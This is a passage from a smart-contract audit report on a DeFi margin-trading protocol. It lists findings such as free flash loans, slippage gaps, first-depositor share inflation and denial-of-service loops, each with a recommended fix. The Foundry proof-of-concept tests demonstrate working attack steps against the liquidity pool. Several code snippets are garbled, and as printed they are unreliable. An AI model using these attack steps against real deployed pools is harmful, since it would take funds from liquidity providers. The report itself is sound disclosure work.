The problem is that the parameter `amountOutMinimum` is set to zero. This implies that during swaps, no minimum output is enforced, which exposes the transactions to potential market manipulation risks. Such an unprotected swap can lead to the margin account receiving significantly less than expected, or even nothing.

Recommendations

It is recommended to calculate the `amountOutMinimum` based on current market conditions using the Uniswap quote.

[M-13] Free flashloans due to the lack of fee or interest charges

Severity

Impact: Medium

Likelihood: Medium

Description

The `LiquidityPool.sol` is designed for LP providers to deposit tokens which can then be borrowed by `marginAccounts` through the function `LiquidityPool::borrow()`. However, the current implementation allows for borrowing and repaying within the same transaction without incurring any fees or interest, effectively providing a mechanism for free flash loans.

The issue arises in the function `LiquidityPool::getDebtWithAccruedInterest`, which calculates the accrued interest based on the time tokens are borrowed:

```
File: LiquidityPool.sol
207:     function getDebtWithAccruedInterest
  (uint marginAccountID) external view returns (uint debtByPool) {
208:         if (debtSharesSum == 0) return 0;
209:         return (totalBorrows
  () * shareOfDebt[marginAccountID]) / debtSharesSum;
210:     }
```

The function `LiquidityPool::totalBorrows()` computes interest based on the elapsed time since the last snapshot. In a flash loan scenario, if the assets are repaid in the same transaction, `ownershipTime` would be zero, resulting in no interest or fees being charged:

```
File: LiquidityPool.sol
214:     function totalBorrows() public view returns (uint) {
215:
           uint ownershipTime = block.timestamp - totalBorrowsSnapshotTimestamp;
216:         uint precision = 10 ** 18;
217:         UD60x18 temp = div(
218:             convert(
219:                 ((INTEREST_RATE_COEFFICIENT + interestRate) *
220:                     precision) / INTEREST_RATE_COEFFICIENT
221:             ),
222:             convert(precision)
223:         );
224:         return
225:             ((netDebt + totalInterestSnapshot) *
226:                 intoUint256(pow(temp, div(convert(ownershipTime), convert
  (ONE_YEAR_SECONDS))))) / 1e18;
227:     }
```

The following test demonstrates how an attacker can exploit this vulnerability by borrowing and repaying `2,000 ether` within the same transaction without incurring any fees or interest:

```
// File: LiquidityPool.t.sol
// $ forge test --match-test="test_borrow_repay_sametx" --fork-url
// https://arb-sepolia.g.alchemy.com/v2/... -vvv
//
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {LiquidityPool} from "../contracts/LiquidityPool.sol";
import {MockERC20} from "../contracts/mock/MockERC20.sol";


contract LiquidityPoolTest is Test {

    function test_borrow_repay_sametx() public {
        address insurancePool = address(0x123);
        address marginAccountStorage = address(this);
        MockERC20 baseToken = new MockERC20("USDC Token", "USDC", 6);
        MockERC20 poolToken = new MockERC20("WETH Token", "WETH", 18);
        uint poolCapacity = 10_000 * 10 ** poolToken.decimals();

        LiquidityPool liquidityPool = new LiquidityPool(
            insurancePool,
            marginAccountStorage,
            baseToken,
            poolToken,
            "Liquidity Pool Token",
            "LPT",
            poolCapacity
        );
        //
        // 1. LP provide some tokens to the pool
        deal(address(poolToken), address(this), 20_000 ether);
        poolToken.approve(address(liquidityPool), 20_000 ether);
        liquidityPool.provide(9_000 ether);
        //

        uint marginAccountID = 2;
        console.log("\nBorrow of 2_000 ether to marginAccountID=2");
        console.log
          ("Total borrows before attack:  ", liquidityPool.totalBorrows());
        console.log(
          "TotalmarginAccountIDdebt:",
          liquidityPool.getDebtWithAccruedInterest
        )
        liquidityPool.borrow(marginAccountID, 2_000 ether);
        console.log
          ("Total current borrows:        ", liquidityPool.totalBorrows());
        console.log(
          "TotalmarginAccountIDdebt:",
          liquidityPool.getDebtWithAccruedInterest
        )
        liquidityPool.repay(marginAccountID, 2_000 ether);
        assertEq(liquidityPool.portfolioIdToDebt(marginAccountID), 0);
        assertEq(liquidityPool.totalInterestSnapshot(), 0);
        console.log
          ("Total borrows after repayment:", liquidityPool.totalBorrows());
        console.log(
          "TotalmarginAccountIDdebt:",
          liquidityPool.getDebtWithAccruedInterest
        )
        console.log(
          "Totalinterestpaid:",
          liquidityPool.totalInterestSnapshot
        )
```

```
    }
}
```

Output:

```
Borrow of 2_000 ether to marginAccountID=2
  Total borrows before attack:   0
  Total marginAccountID debt:    0
  Total current borrows:         2000000000000000000000
  Total marginAccountID debt:    2000000000000000000000
  Total borrows after repayment: 0
  Total marginAccountID debt:    0
  Total interest paid:           0
```

Recommendations

To mitigate this risk, it is advised to impose a minimal fee or interest charge for borrowing activities, even if repaid within the same transaction. This fee could help deter abuse of the flash loan mechanism and ensure that the protocol generates revenue from these operations.

[M-14] Uniswap V3 quoter contract should not be called on-chain

Severity

Impact: High

Likelihood: Low

Description

`UniswapModule` contains calls to the Uniswap V3 quoter contract.

```
File: UniswapModule.sol

61:     function getInputPositionValue(uint256 amountIn) external returns
  (uint amountOut) {

63:
64:         amountOut = quoter.quoteExactInput(params.path, amountIn);
65:     }
66:
67:     function getOutputPositionValue(uint256 amountOut) public returns
  (uint amountIn) {

69:
70:         amountIn = quoter.quoteExactOutput(params.path, amountOut);
71:     }
```

These functions are called from different parts of the codebase to obtain the expected amount of tokens in or out of a swap. However, as noted in the contract natspec, these functions can be gas-intensive and are not designed to be used on-chain.

```
/// @dev These functions are not gas efficient and should _not_ be called on
// chain. Instead, optimistically execute
/// the swap and check the amounts in the callback.
```

The functions can be executed multiple times in the same transaction, which can lead to a high gas cost and potential DoS if the block gas limit is reached.

Recommendations

To mitigate this issue it would be required a redesign in the protocol in the following way:

- Use an oracle for token valuations.
- Use the output of the real swaps instead of quoting the expected amount.

[M-15] Partial repayment is not possible in liquidation if no funds on the insurance pool

Severity

Impact: High

Likelihood: Low

Description

At the end of the liquidation process, all debts of the account being liquidated are cleared. This is done by repaying the debt in each liquidity pool with the account's funds. If the account is underwater, the remaining funds required to repay the debt are taken from the insurance pool.

If the insurance pool does not have enough funds to cover the debt, none of the debt is repaid, and the account collateral can only be used to repay the debt partially if the account's owner calls the `repay` function. However, there is no incentive for the account owner to do so, as the collateral is locked in the contract.

Proof of concept

- Account owes 100 WETH (worth 300,000 USDC) and 10 WBTC (worth 800,000 USDC).
- Account has 500,000 USDC in her account.
- When account is tried to be liquidated, debt is cleared from each of the liquidity pools.
- In the first iteration 300,000 USDC are taken from the account to repay the WETH debt.
- In the second iteration, 200,000 USDC are taken from the account to repay the WBTC debt. That covers 2.5 WBTC, so the remaining 7.5 WBTC have to be transferred from the insurance pool.
- The insurance pool only has 5 WBTC, so the transaction reverts and none of the debt is repaid.

Recommendations

One option allowing partial repayment of debts if there are not enough funds in the insurance pool to cover the full debt. In this case, bad debt will be absorbed by the protocol.

```
if (amountInUSDC > userUSDCbalance) {
        uint amountOut = modularSwapRouter.swapInput
          (baseToken, availableTokenToLiquidityPool[i], userUSDCbalance, 0);
        erc20ByContract[marginAccountID][baseToken] -= userUSDCbalance;
+       uint256 insurancePoolBalance = IERC20
+ (availableTokenToLiquidityPool[i]).balanceOf(insurancePool);
+       if (insurancePoolBalance < poolDebt - amountOut) {
+           poolDebt = insurancePoolBalance + amountOut;
+       }
        IERC20(availableTokenToLiquidityPool[i]).transferFrom
          (insurancePool, address(this), poolDebt-amountOut);
    } else {
        uint amountIn = modularSwapRouter.swapOutput
          (baseToken, availableTokenToLiquidityPool[i], poolDebt);
        erc20ByContract[marginAccountID][baseToken] -= amountIn;
    }
    ILiquidityPool(liquidityPoolAddress).repay(marginAccountID, poolDebt);
```

Another option is to skip the clearing of the debt just for the liquidity pool where the full debt cannot be repaid.

```
if (amountInUSDC > userUSDCbalance) {
+       uint amountOut = calculateAmountOutERC20
+ (baseToken, availableTokenToLiquidityPool[i], userUSDCbalance);
+       uint256 insurancePoolBalance = IERC20
+ (availableTokenToLiquidityPool[i]).balanceOf(insurancePool);
+       if (insurancePoolBalance < poolDebt - amountOut) {
+           continue;
+       }
        modularSwapRouter.swapInput
          (baseToken, availableTokenToLiquidityPool[i], userUSDCbalance, 0);
```

[M-16] Donations to `LiquidityPool` contract can manipulate share calculation

Severity

Impact: High

Likelihood: Low

Description

The `provide` function in the `LiquidityPool` contract mints new shares for the caller based on the amount of liquidity provided. The amount of shares minted is calculated as follows:

- If the total liquidity (contract's balance + amount borrowed) is greater than 0, the share change is calculated as `(depositShare * amount) / totalLiquidity`.
- If the total liquidity is 0, the share change is calculated as `(amount * 10 ** decimals()) / 10 ** poolToken.decimals()`.

```
File: LiquidityPool.sol

097:     function provide(uint amount) external nonReentrant {
098:         uint totalLiquidity = getTotalLiquidity();
099:         require(
100:             totalLiquidity + amount <= maximumPoolCapacity,
101:             "Maximum liquidity has been achieved!"
102:         );
103:         poolToken.transferFrom(msg.sender, address(this), amount);
104:         uint shareChange = totalLiquidity > 0
105:   @>         ? (depositShare * amount) / totalLiquidity
106:   @>         : (amount * 10 ** decimals()) / 10 ** poolToken.decimals();
107:         _mint(msg.sender, shareChange);
108:         depositShare += shareChange;
109:
110:         emit Provide(msg.sender, shareChange, amount);
111:     }
```

Given that `totalLiquidity` is calculated using the contract's balance a malicious user can donate tokens to manipulate the share calculation.

The first attack can consist of the user donating a small amount of tokens before anyone provides liquidity. When the first user provides liquidity, `totalLiquidity` will be greater than 0 and the share change will be calculated as `(depositShare * amount) / totalLiquidity`. Since `depositShare` is 0, the share change will also be 0, so the user will not receive any shares. The same will happen for all users that provide liquidity after the first one. So every user will lose the tokens they provided.

The second attack, known as the "first depositor inflation attack", can be performed by the first depositor inflating the shares calculation in their favor. This is done by providing 1 wei (minting 1 share) and donating a large amount of tokens. When the next depositor provides liquidity, the share they receive will be less than expected due to the rounding down in the share calculation.

See the proofs of concept for more details.

Proof of concept

```
function test_provideMintsZeroShares() public {
    vm.prank(alice);
    WETH.transfer(address(liquidityPoolWETH), 1);

    vm.prank(bob);
    liquidityPoolWETH.provide(1e18);

    assert(liquidityPoolWETH.balanceOf(address(bob)) == 0);
}
```

```
// Victim deposit > attacker donation
function test_firstDepositorInflation_1() public {
    // Alice provides 1 wei and donates 0.5 WETH
    vm.startPrank(alice);
    liquidityPoolWETH.provide(1);
    WETH.transfer(address(liquidityPoolWETH), 0.5e18);
    vm.stopPrank();

    // Bob provides 1 WETH
    // Shares minted = (depositShare * amount) / totalLiquidity = (1 * 1e18) /
    //(0.5e18 + 1) = 1
    vm.prank(bob);
    liquidityPoolWETH.provide(1e18);

    // Both Alice and Bob have 1 share
    assert(liquidityPoolWETH.balanceOf(address(alice)) == 1);
    assert(liquidityPoolWETH.balanceOf(address(bob)) == 1);

    // Alice withdraws 1 share and gets 0.75 WETH
    uint256 aliceWETHBalance = WETH.balanceOf(address(alice));
    vm.prank(alice);
    liquidityPoolWETH.withdraw(1);
    uint256 aliceWETHBalanceIncrease = WETH.balanceOf(address
      (alice)) - aliceWETHBalance;
    assert(aliceWETHBalanceIncrease == 0.75e18);
}

// Victim deposit < attacker donation
function test_firstDepositorInflation_2() public {
    // Alice provides 1 wei and donates 0.5 WETH
    vm.startPrank(alice);
    liquidityPoolWETH.provide(1);
    WETH.transfer(address(liquidityPoolWETH), 0.5e18);
    vm.stopPrank();

    // Bob provides 0.2 WETH
    // Shares minted = (depositShare * amount) / totalLiquidity =
    //(1 * 0.2e18) / (0.5e18 + 1) = 0
    vm.prank(bob);
    liquidityPoolWETH.provide(0.2e18);

    // Both Alice and Bob have 1 share
    assert(liquidityPoolWETH.balanceOf(address(alice)) == 1);
    assert(liquidityPoolWETH.balanceOf(address(bob)) == 0);

    // Alice withdraws 1 share and gets 0.7 WETH + 1 wei
    uint256 aliceWETHBalance = WETH.balanceOf(address(alice));
    vm.prank(alice);
    liquidityPoolWETH.withdraw(1);
    uint256 aliceWETHBalanceIncrease = WETH.balanceOf(address
      (alice)) - aliceWETHBalance;
    console.log(aliceWETHBalanceIncrease);
    assert(aliceWETHBalanceIncrease == 0.7e18 + 1);
}
```

Recommendations

There are different ways to mitigate this issue, including:

- Use of dead shares: Forces to provide liquidity on the contract's deployment. This one would be the easiest to implement.
- Use of virtual deposit: OpenZeppelin's ERC4626 implements this solution and is well documented in their docs.
- Use of internal balance tracking: Consists of keeping track of the token balance in a variable instead of relying on the `IRC20.balanceOf` function.

8.4. Low Findings

[L-01] Lack of safe transfer mechanism

The function `MarginAccount::withdrawERC721` facilitates the transfer of ERC721 tokens previously deposited into the protocol using `MarginAccount::provideERC721`. This function allows approved operators or the owners of the `MarginAccount`, which itself is an ERC721 token managed by `MarginAccountManager`, to execute withdrawals. However, a critical oversight is observed in its implementation:

```
File: MarginAccount.sol
188:     function withdrawERC721(
  uintmarginAccountID,
  addresstoken,
  uintvalue,
  addresstxSender
) external onlyRole(MARGIN_TRADING_ROLE
189:         _deleteERC721TokenFromContractList(marginAccountID, token, value);
190:         IERC721(token).transferFrom(address(this), txSender, value);
191:     }
```

Currently, the function uses `IERC721(token).transferFrom(...)` instead of `IERC721(token).safeTransferFrom(...)`. This omission lacks a critical check that the recipient is capable of receiving ERC721 tokens, which is essential to prevent tokens from being locked or lost when sent to contracts that do not implement the ERC721 token receiver interface.

Consider the next scenario:

1. A MarginAccount is created via `MarginAccountManager`.
2. The account owner sets an operator with `ERC721::setApprovalForAll`.
3. The operator, under certain circumstances, adds an approved address (X) that cannot correctly handle ERC721 tokens.
4. This approved address (X) invokes `MarginTrading::withdrawERC721`, leading to `MarginAccount::withdrawERC721`. Since the ERC721 is transferred using `transferFrom`, which lacks the safety checks of `safeTransferFrom`, the token could be sent to an address that cannot interact properly with ERC721 tokens, resulting in the token being effectively lost or locked within the recipient contract.

It is recommended to replace `transferFrom` with `safeTransferFrom` in the `MarginAccount::withdrawERC721` function. This change ensures a safer mechanism, particularly in scenarios involving multiple operators or approved addresses.

[L-02] Inconsistency in `isAvailableErc20` checks

The `MarginAccount.isAvailableErc20` variable plays a crucial role in ensuring that only supported ERC20 tokens are used in operations like providing tokens, swapping, or exercising options within the protocol. This check is enforced to restrict access to these functionalities if a token is not active or available within the protocol. Example `MarginAccount#L171`:

```
File: MarginAccount.sol
170:     function provideERC20(
  uintmarginAccountID,
  addresstxSender,
  addresstoken,
  uintamount
) external onlyRole(MARGIN_TRADING_ROLE
171:         require(
  isAvailableErc20[token],
  "Tokenyouareattemptingtodepositisnotavailablefordeposit"
);
172:         erc20ByContract[marginAccountID][token] += amount;
173:         IERC20(token).transferFrom(txSender, address(this), amount);
174:     }
```

However, the `MarginAccount::borrow` function currently does not incorporate this validation, potentially allowing users to borrow against tokens that have been deactivated or are not supposed to be accessible due to various issues such as liquidity concerns or external market factors.

```
File: MarginAccount.sol
193:     function borrow(
  uintmarginAccountID,
  addresstoken,
  uintamount
) external onlyRole(MARGIN_TRADING_ROLE
194:         address liquifityPoolAddress = tokenToLiquidityPool[token];
195:         require(liquifityPoolAddress != address
  (0), "Token is not supported");
196:
197:         erc20ByContract[marginAccountID][token] += amount;
198:         ILiquidityPool(liquifityPoolAddress).borrow
  (marginAccountID, amount);
199:     }
```

For example, if the protocol initially allows access to the `wETH` liquidity pool and later disables it due to issues, while users might not be able to deposit or swap `wETH`, they could still potentially initiate borrow operations if they have prior balances. This could expose the protocol to unwanted risks associated with disabled tokens.

It is advisable to extend the `isAvailableErc20` check to the `MarginAccount::borrow` function to ensure consistency in token availability checks across all relevant functions:

```
# File: MarginAccount.sol
    function borrow(
      uintmarginAccountID,
      addresstoken,
      uintamount
    ) external onlyRole(MARGIN_TRADING_ROLE
++      require(isAvailableErc20[token], "Token is not available");
        address liquifityPoolAddress = tokenToLiquidityPool[token];
        require(liquifityPoolAddress != address(0), "Token is not supported");

        erc20ByContract[marginAccountID][token] += amount;
        ILiquidityPool(liquifityPoolAddress).borrow(marginAccountID, amount);
    }
```

[L-03] Centralization risk in Insurance Pool management

The function `LiquidityPool::repay` is designed to handle repayments to the liquidity pool. If there is a profit, it is transferred to the `insurancePool`:

```
File: LiquidityPool.sol
155:     function repay(uint marginAccountID, uint amount) external onlyRole
  (MARGIN_ACCOUNT_ROLE) {
...
...
179:         poolToken.transferFrom(msg.sender, address(this), amount);
180:         if (profitInsurancePool > 0) {
181:             poolToken.transfer(insurancePool, profitInsurancePool);
182:         }
...
...
185:     }
```

However, the `insurancePool` can be modified by the manager through the function `LiquidityPool::setInsurancePool`, which poses a centralization risk:

```
File: LiquidityPool.sol
75:     function setInsurancePool(address newInsurancePool) external onlyRole
  (MANAGER_ROLE) {
76:         insurancePool = newInsurancePool;
77:
78:         emit UpdateInsurancePool(newInsurancePool);
79:     }
```

By setting the `insurancePool` to `address(0)`, the `manager` could cause the `LiquidityPool::repay` function to revert due to an `ERC20InvalidReceiver(address(0))` error. This introduces a vulnerability where the functionality of the entire liquidity pool can be compromised by a single actor.

To mitigate this risk, it is recommended that the `insurancePool` address be set only during the contract initialization phase, similar to the approach taken in `MarginAccount`, where `insurancePool` is established at the time of contract creation. This change would prevent the `manager` from arbitrarily changing the `insurancePool` to an invalid address post-deployment.

[L-04] Missing slippage checks

Lack of slippage / output amount checks was uncovered in the following instances:

1. In the `liquidate` method of the `UniswapModule` contract, the `params.amountOutMinimum` is not set and therefore zero by default. *For comparison, see* `swapInput` *method.*
2. In the `liquidate` & `exercise` methods of the `HegicModule` contract, the `amountOutMinimum` parameter of the `swapInput` call is explicitly set to zero.
3. In the `_clearDebtsWithPools` method of the `MarginAccount` contract, the `amountOutMinimum` parameter of the `swapInput` call is explicitly set to zero.

[L-05] Missing ERC721 existence check

The `_deleteERC721TokenFromContractList` method of the `MarginAccount` contract does not revert if the given `tokenID` does not exist in the `userTokesByContract` array.
It is recommended to `revert` with an error message in case the given `tokenID` cannot be found & deleted.

```
function _deleteERC721TokenFromContractList
  (uint marginAccountID, address token, uint tokenID) private {

         uint[] storage userTokesByContract = erc721ByContract[marginAccountID][token]

    for(uint i = 0; i < userTokesByContract.length; i++) {
        if(userTokesByContract[i] == tokenID) {

                        userTokesByContract[i] = userTokesByContract[userTokesByContr
            userTokesByContract.pop();
            return;
        }
    }
}
```

[L-06] Unfavorable placement of require check

In the `repay` method the `MarginAccount` contract, the `amount` is checked before it is potentially modified again a few lines below. In the case of initially `amount == 0`, the transaction could revert due to an arithmetic underflow error instead of failing with an error message.
Consider moving the `require` check below the potential amount change.

```
function repay(
  uintmarginAccountID,
  addresstoken,
  uintamount
) external onlyRole(MARGIN_TRADING_ROLE
    address liquifityPoolAddress = tokenToLiquidityPool[token];
    require(liquifityPoolAddress != address(0), "Token is not supported");

    require
    //(amount <= erc20ByContract[marginAccountID][token], "Insufficient funds to repay


    uint debtWithAccruedInterest = ILiquidityPool
      (liquifityPoolAddress).getDebtWithAccruedInterest(marginAccountID);
    if (amount == 0 || amount > debtWithAccruedInterest) {
        amount = debtWithAccruedInterest;  // @audit amount is modified here
        // again
    }

    // @audit move here

    erc20ByContract[marginAccountID][token] -= amount; // @audit potential
    // underflow error
    ILiquidityPool(liquifityPoolAddress).repay(marginAccountID, amount);
}
```

[L-07] Changing core coefficients during runtime

Everyone who has the `MANAGER_ROLE` can change the protocol's `yellowCoeff` (healthy portfolio ratio) and `redCoeff` (liquidation ratio) during runtime. However, changing any of those coefficients once the protocol is live can have detrimental impacts on its users. Withdrawals and borrows could unexpectedly fail on an increased `yellowCoeff`, while an increased `redCoeff` could make margin accounts unexpectedly liquidate.

It is recommended to make these two coefficients `immutable`.

[L-08] Option NFTs cannot be withdrawn

The `withdrawERC721` function in `MarginTrading.sol` requires that the NFT can be exercised for it to be withdrawn. There seems to be a valid justification for allowing users to withdraw options that are in the money but not those that are out of the money. Users may want to withdraw options that are not yet in the money to sell them on the secondary market, use them in another protocol, or for other purposes.

```
File: MarginTrading.sol

125:     function withdrawERC721(
  uintmarginAccountID,
  addresstoken,
  uintvalue
) external nonReentrant onlyApprovedOrOwner(marginAccountID
126:         require(marginAccount.checkERC721Value(
  marginAccount.checkERC721Value

), "The ERC721 token you are attempting to withdraw is not available for withdrawal"
127:   @>    require(modularSwapRouter.checkValidityERC721
  (token, BASE_TOKEN, value), "token id is not valid");
128:
```

```
File: HegicModule.sol

68:     function checkValidityERC721(uint id) external returns(bool) {
69:         if (getPayOffAmount(id) > 0 && isOptionActive
  (id) && getExpirationTime(id) > block.timestamp) {
70:             return true;
71:         }
72:     }
```

Consider removing the second `require` statement in `MarginTrading.sol` to allow users to withdraw NFTs that cannot be exercised.

[L-09] DoS due to check for ERC721 token ID associated with a margin account

`MarginAccount:checkERC721tokenID` function checks if a specific ERC721 token ID is associated with a margin account. This is done by looping over all the ERC721 token IDs associated with the margin account and checking if the provided token ID is present.

```
File: MarginAccount.sol

65:     function checkERC721tokenID(
  uintmarginAccountID,
  addresstoken,
  uintvalue
) public view returns(bool hasERC721Id
66:         uint[] memory userERC721 = new uint[]
  (erc721ByContract[marginAccountID][token].length);
67:         userERC721 = erc721ByContract[marginAccountID][token];
68:         for (uint i; i < userERC721.length; i++) {
69:             if (userERC721[i] == value) {
70:                 return true;
71:             }
72:         }
73:     }
```

The function is executed when `MarginTrading:withdrawERC721` is called. Given that there is no limit on the number of ERC721 tokens that can be associated with a margin account, looping over all the ERC721 token IDs can make the caller incur a high gas cost, potentially leading to a denial of service.

Consider implementing a mapping to store whether a specific ERC721 token ID is associated with a margin account.

Note also that the `checkERC721Value` is redundant as it just calls `checkERC721tokenID` and returns the result. Consider removing it.